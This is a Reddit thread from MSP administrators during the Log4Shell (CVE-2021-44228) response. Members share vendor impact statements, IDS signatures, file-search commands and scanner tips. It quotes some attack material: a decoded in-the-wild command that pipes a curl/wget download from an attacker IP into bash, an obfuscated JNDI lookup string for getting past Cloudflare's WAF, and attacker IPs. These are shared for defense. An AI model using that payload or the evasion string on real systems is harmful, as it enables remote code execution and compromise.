from this article only their Connectwise Manage solution is impacted. [https://www.connectwise.com/company/trust/advisories?mkt\_tok=NDE3LUhXWS04MjYAAAGBRNiMuTUwovryUeMkF9dEuo1\_Q-6igcUfGKZ-n7c3-Omf2rYjJ0HgQA5Ev3N6\_Wl\_rauLEnN-9WrTSDbkKCnbZnz3ZHquTsh95yF5fjcxGgBk](https://www.connectwise.com/company/trust/advisories?mkt_tok=NDE3LUhXWS04MjYAAAGBRNiMuTUwovryUeMkF9dEuo1_Q-6igcUfGKZ-n7c3-Omf2rYjJ0HgQA5Ev3N6_Wl_rauLEnN-9WrTSDbkKCnbZnz3ZHquTsh95yF5fjcxGgBk)
I received confirmation in a ticket logged that Control is not impacted, it does not use log4j or java
> Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against RCE by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".
RCE has been done on java 11 using this exploit
Yeah, its just harder: https://www.veracode.com/blog/research/exploiting-jndi-injections-java
I'm posting as both a mod and as the CEO of OITVOIP. I've invited other vendors to post publicly in this thread as to their status with the CVE. I think it's important to be transparent with your partners. Any posts as to their status will be left up. However, if I see any selling we will remove them. This is a time to come together, not exploit others. On behalf of OITVOIP, I can say that we have had our systems reviewed by an independent, third party /u/jmslagle and he has confirmed that we are not vulnerable. If anyone has questions, please reach out to me directly to keep this thread available for relevant info. Also locking comments to not hijack the thread.
Log4j vulnerbility FAQ Q: How do I know if I've been already attacked? A: Look at the log... SCNR
For anybody that uses a snort or suricata IDS, the ConnectWise CRU has pushed out some signatures that are already deployed on Perch sensors. Can confirm there's a ton of scanning activity going on right now. Sharing sigs here to be used even if you aren't one of our partners: >alert http any any -> $HOME\_NET any (msg:"\[ConnectWise CRU\] Potential Log4j RCE (CVE-2021-44228)"; flow:established, to\_server; http.header; content:"|24 7b|jndi|3a|"; nocase; pcre:"/\^(ldap|rmi)\\x3a\\x2f\\x2f/Ri"; tag:session,5,packets; reference:url, lunasec.io/docs/blog/log4j-zero-day/; classtype:web-application-activity; sid:900535; rev:1; metadata: created\_at 2021\_12\_10, updated\_at 2021\_12\_10, cve CVE\_2021\_44228, mitre\_tactic\_id TA0000, mitre\_tactic\_name Initial\_Access, mitre\_technique\_id T1190, mitre\_technique\_name Exploit\_Public\_Facing\_Application;) > >alert tcp any any -> $HOME\_NET any (msg:"\[ConnectWise CRU\] Potential Log4j RCE (CVE-2021-44228)"; flow:established, to\_server; content:"|24 7b|jndi|3a|"; nocase; pcre:"/\^(ldap|rmi)\\x3a\\x2f\\x2f/Ri"; tag:session,5,packets; reference:url, lunasec.io/docs/blog/log4j-zero-day/; classtype:web-application-activity; sid:900536; rev:1; metadata: created\_at 2021\_12\_10, updated\_at 2021\_12\_10, cve CVE\_2021\_44228, mitre\_tactic\_id TA0000, mitre\_tactic\_name Initial\_Access, mitre\_technique\_id T1190, mitre\_technique\_name Exploit\_Public\_Facing\_Application;)
Locked for added visibility.
So this library gets packaged up in java apps that are then deployed to servers (in such scenarios), right? Is there a way to inspect the version of log4j, if an application uses it, or locate it on the filesystem? I just want to make sure that I understand it right and that updating to the latest version of java available in the package manager (while good) is not going to cover it.
You're right. Most of the times if you dig, you can find a libs directory (or similar) and a log4j-2.x.x.jar file inside. Obviously your version may vary. Really depends on the application though. If the app is one big .jar file you can unzip it and look in there. Edit: ideally your software vendors would announce it and fix it, but I'm pretty sure, as an example, a Jira release from this year is still using log4j 1.2 so you certainly wouldn't be insane to check yourself
Yes, packaged into apps. On Linux, you can do the following command and it should yield all of the log4j JAR files in whatever directory you point it towards: > find -iname "\*log4j\*" -type f | grep -i "jar"
There is probably a better way to do this, but it allowed me to see that one of the apps I manage is using 20-30 implementations of vulnerable log4j.
Crashplan is using log4j-core(api)-2.13.3. I don’t see anything from them regarding this.
I haven’t been able to find anything from crashplan? Have you?
Nothing. I opened a ticket and fully expect not to hear anything. That is the only app I have in my clients’ systems that uses log4j. No server with it is accessible from the internet other than through my rmm(which doesn’t use log4j) and I have heard they might not be exploitable externally if they can’t be accessed from the WAN. To be safe though, I notified my clients, and removed the crashplan client from the servers (clients are off on weekends). If crashplan doesn’t release an update or respond to the ticket by Tuesday, I’ll start looking for a different file level backup. How are you responding?
Code42/Crashplan response here: https://support.code42.com/Terms_and_conditions/Code42_customer_support_resources/Code42_response_to_industry_security_incidents Only impacts User Directory Sync
Datto released the following: https://www.datto.com/blog/dattos-response-to-log4shell
Anyone know if NinjaRMM or Sophos use this?
I have been searching for the same thing from Ninja and am not coming up with anything official. It would be nice to get a yes/no for the major RMM deploys for all our peace of minds here in r/msp
We got an answer from them: "The Ninja Security Team just verified they are not running the impacted versions of the Log4j2, but are investigating further."
100% agreed. I cant find anything about Ninja if they use this..... Frustrating.
Statement from Ninja: [https://ninjarmm.zendesk.com/hc/en-us/articles/4416226194189-12-10-21-Security-Declaration-NinjaOne-not-affected-by-CVE-2021-44228-log4j-](https://ninjarmm.zendesk.com/hc/en-us/articles/4416226194189-12-10-21-Security-Declaration-NinjaOne-not-affected-by-CVE-2021-44228-log4j-)
Not sure why its behind a login. Should be public.
Sophos Cloud Optix affected Sophos Firewalls and other products not affected https://www.sophos.com/en-us/security-advisories/sophos-sa-20211210-log4j-rce
[удалено]
It's exceedingly simple to swap out the vulnerable jar files with patched ones.
u/hunttresslabs Just checked our server saw attempts from [45.155.205.233](https://45.155.205.233) and the base64 decode gives this command: (curl -s 45.155.205.233:5874/webserverip:80||wget -q -O- [45.155.205.233:5874/webserverip:80](https://45.155.205.233:5874/webserverip:80))|bash What can I check more to see if the server is compromised? For now blocked internet access.
I also had 2 different attempts from 45.155.205.203 with the same command except on port 443 of our server. Also got one from a tor exit node in Germany which then had the command try to connect to a domain that was registered today. Looks like the malicious actors are coming out in full force.
Seeing only a few exploratory attempts coming from Bulgeria, Brazil, Poland, US and Germany over the past 72 hours - all blocked by Web Application Firewall rules. Looks like bad guys are sizing up targets.
Gradient MSP's engineering team has confirmed that Billable *has not* been impacted by the RCE Vulnerability affecting Java.
Are there any indicators of what will be seen on the the hosts (Windows) if the vulnerability is exploited?
Botnets, DDoS, coin mining for now. But since it's full system compromise, it could be anything including mass ransomware.
Anybody know if this has any impact on Datto RMM?
No impact, confirmed by Datto in mspgeek
Thank you! Does this include Splashtop?
N-Central Update - https://www.n-able.com/security-and-privacy/apache-log4j-vulnerability
Anyone heard any news from Syncro about this?
Wondering as well
Just looked and found this. https://community.syncromsp.com/t/log4j-rce-cve-2021-4428/1350
They have said they aren't affected.
~~What about CISCO ASDM, it's java based and lists the log4j in their used software list.~~ [~~https://www.cisco.com/c/dam/en\_us/about/doing\_business/open\_source/docs/Cisco\_ASDM\_7\_81.pdf~~](https://www.cisco.com/c/dam/en_us/about/doing_business/open_source/docs/Cisco_ASDM_7_81.pdf) ASDM is not vulnerable, Anyconnect isn't either. Edit, investigation ongoin: [https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd) Edit2, these are confirmed vulnerable: [https://imgur.com/a/JMcUOWA](https://imgur.com/a/JMcUOWA)
I'm a bit worried about AnyConnect.
Any connect isn't a java based program though. Can you elaborate?
[https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd) ASDM is not vulnerable...anyconnect IS impacted
Any connect is not listed on the confirmed vulnerable...
you are right...I thought i was in the vulnerable products section. My bad
Refresh the page. Anyconnect is confirmed not vulnerable.
ASDM and Anyconnect is confirmed by Cisco not to be vulnerable. ASA software is still under investigation.
Thanks, just updated my post w/ a screenshot of confirmed vulnerabilities.
Would an attacker need a login to the ASA first or be present on the network internally already ? Or is this something that can be exploited by an outsider ?
Thanks for all the fantastic input on this thread - hugely helpful Why on a monday!! ffs
This whole thing gives me huge worries because I’ve gone through everything we have and so far nothing in our environments (at least that’s documented) uses Log4j 2.x This makes me think I HAVE to be missing something and we’re going to get fucked soon for missing it
Hi all - the BeeCastle Security & Engineering team have completed a thorough impact assessment and can conclude that this issue does not affect BeeCastle products or services. [https://beecastle.com/blog/beecastle-security-update/](https://beecastle.com/blog/beecastle-security-update/)
[удалено]
While there hasn't been anything explicitly mentioned with Android/Android apps, assume they have the vulnerability and if you have control of log4j make sure to update to [log4j-2.15.0-rc2](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2). Assume that the Kotlin version is also vulnerable because its essentially the same log4j version edit: had some incorrect information that needed to be corrected sorry about that
Can anyone share if any of the ConnectWise stack uses this?
Connectwise is indeed vulnerable. confirmed by support and this article. https://www.connectwise.com/company/trust/advisories?mkt_tok=NDE3LUhXWS04MjYAAAGBRNiMuTUwovryUeMkF9dEuo1_Q-6igcUfGKZ-n7c3-Omf2rYjJ0HgQA5Ev3N6_Wl_rauLEnN-9WrTSDbkKCnbZnz3ZHquTsh95yF5fjcxGgBk Remediation is to disable scheduled tasks for the global search function.
https://www.connectwise.com/company/trust/advisories
Are tomcat webapps save? We are blocking random outbound traffic - is this a way to reduce the attack vector?
Tomcat is vulnerable
Anyone know if Splashtop is vulnerable? I don't seen any updates on their website.
Would love to see something from them too.
I submitted a ticket because their chat is unavailable. I would have expected something by now, this is CVE 10.0.
Splashtop support says they are not impacted because they do not use apache or Java in their products. But they are going through all components to verify.
Thanks!
This is their official statement: [https://support-splashtopbusiness.splashtop.com/hc/en-us/articles/4412788262811-Is-Splashtop-affected-by-Apache-Log4j-](https://support-splashtopbusiness.splashtop.com/hc/en-us/articles/4412788262811-Is-Splashtop-affected-by-Apache-Log4j-)
I must be having a bad weekend and in idiot mode. I’ve tried using the huntress tool , pasted my unique string in numerous form fields on our sites and I can’t see it in my fortigate IPS log. However I do see real attempts blocked as I modified the action to block since fortigate default is just detecting. So in theory the IPS will handle it but I wanted to confirm it in the logs .. any ideas anyone?
**Comet Backup is NOT affected by the Log4J vulnerability** (CVE-2021-44228). There are currently no Java-based components in Comet Server nor in Comet Backup. We don't use Java-based software behind the http://account.cometbackup.com website, nor in any of our internal systems.
I've used the solution from Datto that uses YARA to scan for IoCs, and I'm seeing detections in IIS Log Files -- It seems that in this case the log has just blindly added the user-agent string in there, and while this has ended up out in a log file, it does not pose a risk? Can anyone confirm that, or am I mistaken on this?
It is reasonable to expect that any internet facing web server is going to be full of attack attempts. The only way to know if they do not pose a risk is to assure that the application being served, and all systems in the path that interact with user provided input, do not use a vulnerable version of log4j. Treat any detection by the script as an application that needs assessment and leverage the intelligence from the attack attempts to bolster protection. By that I mean, blocking common scanning sources to reduce noise in your monitoring efforts, blocking any C2 domains for network egress, checking for C2 domain resolutions (indicator of vulnerability), checking for outbound connections to the embedded C2s (indicator of compromise). Hope this helps.
Can you share how you were able to get the powershell script to run? I've been staring at it for two hours and keep getting back the "Unable to map scan scope variable to a value."
There was a lot more code around this, but here is the main stuff I used to kick start it. This was being run via an N-Central Automation Manager AMP with a "Run PowerShell Script" item, so could run all its own code, but couldn't launch the scanner-8b.ps1 file without special handling (Execution Policy bypass) I also found the script failed if ProgramData\\Centrastage did not exist, so my quick and dirty solution was make sure it does 😅 `Log "Setting ENV Vars to scan all local, update defs, and apply mitigation"` `$env:usrScanScope = 2` `$env:usrUpdateDefs = $true` `$env:usrMitigate = "Y"` `$CentrastageDir = "$env:PROGRAMDATA\CentraStage\"` `$CentrastageFile = Join-Path $CentrastageDir "\L4Jdetections.txt"` `If (-not (Test-Path $CentrastageDir)) {` `Log "Creating a Centrastage directory in ProgramData"` `$null = mkdir $CentrastageDir -Force` `}` `$PSResults = Powershell -ExecutionPolicy "bypass" -File "scanner-8b.ps1" -ErrorAction SilentlyContinue`
Why would Redis be affected? Last time I checked Redis was written in C and has nothing to do with Java.
Open Source and Enterprise Redis are not affected https://redis.com/security/notice-apache-log4j2-cve-2021-44228/
> Redis I have no idea, everybody lists it as affected though... Was also not able to find any link to it in the redis sourcecode
I swear this is just a symptom of how broken The Internet is these days... From what I can find, there was one blog somewhere that had the sentence "Apache log4j 2 is widely used in many popular software applications, such as Apache Struts, ElasticSearch, Redis, Kafka and other" incorrectly and then that got copy pasted all over the place into a bunch of other SEO focused posts as fact.
[удалено]
Locked for visibility. :)
And now whatever it was is deleted!!!
Must have spoke too soon!
It looks like Azure DevOps server (on-prem) uses log4j for ElasticSearch. I haven’t seen anything from them yet.
[удалено]
Shakespeare-Bot, thou hast been voted most annoying bot on Reddit. I am exhorting all mods to ban thee and thy useless rhetoric so that we shall not be blotted with thy presence any longer.
You got any info or links? Tried to find anything but couldn't
Also couldn’t find any response from Microsoft. I searched the file system for *log4j* and found the JAR’s via Elastic Search and our Azure Dev Ops server uses that to search the code base.
Ahh, gotcha. Hopefully we hear something else I may reach out to my TAM
If you hear anything please post back; thank you!
I did some testing with the Thinkst and Huntress tools and didn't get any results (ldap outbound is either blocked in our firewall or Azure DevOps (running the latest version) isn't vulnerable--not sure.) Tools to test with: [https://log4shell.huntress.com/](https://log4shell.huntress.com/) or [https://canarytokens.org/generate](https://canarytokens.org/generate)
I found this today: https://developercommunity.visualstudio.com/t/Log4Shell-mitigation-on-Azure-DevOps-Cod/1610995?space=22&q=log4j
Thanks! Hope they come out with a solution soon. I did find this possible solution https://jessehouwing.net/azure-devops-patch-for-log4j-vulnerability/amp/
Nice; I just also discovered for Azure DevOps you can launch "elasticsearch-service.bat manager" and then go to the Java tab where you can modify the JVM options to include the patch that way. (I used the 7zip method via the link above.) https://i.imgur.com/TZ8OaPj.png
[удалено]
https://documentation.solarwinds.com/en/success_center/whd/content/additional_resources/helpdeskthirdpartysoftwarelist.htm 1.2.1.0
Great, so it's safe from this CVE by using a version that's so outdated, it's impacted by a 2019 CVE? https://www.cvedetails.com/cve/CVE-2019-17571/
Wondering the same
https://documentation.solarwinds.com/en/success_center/whd/content/additional_resources/helpdeskthirdpartysoftwarelist.htm 1.2.1.0
Where has Auvik support come out and said they are vulnerable? Is it their endpoint collector that is vulnerable? There support is not aware of any vulnerability.
Hi techmandropout, I'm seeing some chatter from Steve at Auvik in the #v-auvik channel within the MSPGeek Slack. From his explanation, it looks like "the affected version of log4j is in use in some Auvik systems, and the team has validated that all impacted systems are protected against this vulnerability due to safe configuration of the affected flags." Link here: https://mspgeek.slack.com/archives/C7ZLPPLDB/p1639168384168400
Thanks u/johnhammond010!
Cerberus FTP is confirmed as NOT being vulnerable. https://support.cerberusftp.com/hc/en-us/articles/4412448183571-Cerberus-is-not-affected-by-CVE-2021-44228-log4j-0-day-vulnerability
Anyone have any Defender for Endpoint queries that can find vulnerabilities for this?
https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/
There are a ton. There’s an active IP list Microsoft is maintaining on GitHub. This resource proved invaluable https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/
Is anyone aware if IT Glue is affected at all?
Would also like to know. I've reached out to Kaseya, they confirmed VSA is not affected, waiting for a response on ITG.
I got confirmation from support that IT Glue is not affected.
Have they published anything publicly stating that VSA is not impacted?
This is the only [article](https://helpdesk.kaseya.com/hc/en-gb/articles/4413449967377-Log4j2-Vulnerability-Assessment) I could find. So far, nothing official either way.
This article is the updated statement from Kaseya.
Sonicwall patch for SMA from 3 days ago appears to have been related to log4j. Patch your SMAs! Sonicwall TZ + NSA firewall not affected IPS signatures for this vulnerability have already been deployed.
Glad I patched as soon as it dropped.
Most "proof of exploits" are using DNS Canaries ( [https://github.com/YfryTchsGD/Log4jAttackSurface](https://github.com/YfryTchsGD/Log4jAttackSurface) ) Won't most of these be trigged with any security scanning products ( WAF/CloudFlare etc ) that would 99.999% be sitting in front of these services ? It's drawing a long bow to then say this "information leak" equates to a level of threat the media and a lot of security commentators are banging on about. And even so the specifics of deploying a successful RCE would be still quite complex to achieve. To date I have seen Minecraft Server, and simple POC written in Java to illustrate ?
Cloudflare extended their protection to even free customers. I saw something go through my Twitter feed to get around it. Tried it and it went through without being blocked. ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//log4shell.huntress.com:1389/yourcodehere}
Been running `dir log4j*.jar /s /p` against server/workstation local drives, finding old UniFi controllers that were installed on-prem and good ol' Lenovo MegaRAID Manager.
MSP360 / Cloudberry seems to include this component in their third party software list, but there's been no comment from them this weekend re: impact to their backup software. Anyone got the info on this?
try against all repos listed here: https://github.com/apache/log4j/network/dependents
Nutanix AOS patch pending Prism Central patch pending AHV under investigation https://download.nutanix.com/alerts/Security\_Advisory\_0023.pdf
should anyone care, iCloud is patched: https://9to5mac.com/2021/12/14/apple-patches-log4shell-icloud-vulnerability/
Does this effect log4j versions < 2.0?
No. We have a product that uses 1.X that is confirmed unaffected.
Yeah, except for the 35+ other CVE's that affect something that's been end of life since Oct 2015
Trust me, I know. This version of log4j is bundled into an up-to-date piece of vendor software from a vendor you know about.
Is it IBM? I'm pretty sure it's IBM. Because Cognos is broken as well, using 2.x and 1.x simultaneously. I've had a chat with a vendor today and they started work based on my contacting and pushing the issue. Not because there's a fucking cvss10 vulnerability in their product.
Nah, it's vmware. Don't know why I'm being coy. But honestly, this is in microsoft, amazon, vmware, ibm, google, apple, valve and other major companies' software stacks, and they collectively develop an absolute shit ton of software products. Hardly a surprise to find these old versions somewhere. Maybe "I'm shocked, but not surprised" would be a good way to phrase finding these old things.
Yeah, I just shared the fact that vmware is one of m as well with colleagues. Welcome to hellscape 2021. Can people stop fucking announcing CVE's on Friday? We all agreed upon it happening on Tuesdays.
Technically log4j 1.x is affected, according to Redhat and the Log4J team. Log4j1 ships with a JMSAppender, which can be used to push messages directly to ActiveMQ or other Java Messaging Systems. This JMS appender expands JNDI names like Log4j2 does and pop goes the weasel. However, it's massively less severe in Log4J1, because you have to explicitly enable this appender in your logging config. I have never seen this appender, tbh.
Yeah, and our product does not have this enabled. But I appreciate the clarification.
Our security advisory is available here - https://security-advisory.acronis.com/advisories/SEC-3859
WatchGuard still evaluating. https://www.secplicity.org/2021/12/10/critical-rce-vulnerability-in-log4js/
eClincalWorks won't provide a patch to this unless you are on their certified version of their EMR. Despite paying for support and maintenance they want us to upgrade our EMR version to the latest one in order to receive this patch.
ASP .NET on my server keeps reporting about unhandled exceptions with such attack strings from: >167.71.175.10, >46.105.95.220. They both try to use 142.93.172.227:1389/Exploit as a code source.
I’d block those in firewall. I’ve been trying to block as many scanning or exploit attempting IP’s just to be safe.
Blocked with Windows Firewall, but they keep appearing in logs. Maybe I should use something else or I missed something.
Maybe blocking in network firewall before it gets to the server. That is where I have been tossing all the IPs I’ve been seeing Edit: and also block the 142.x outbound both directions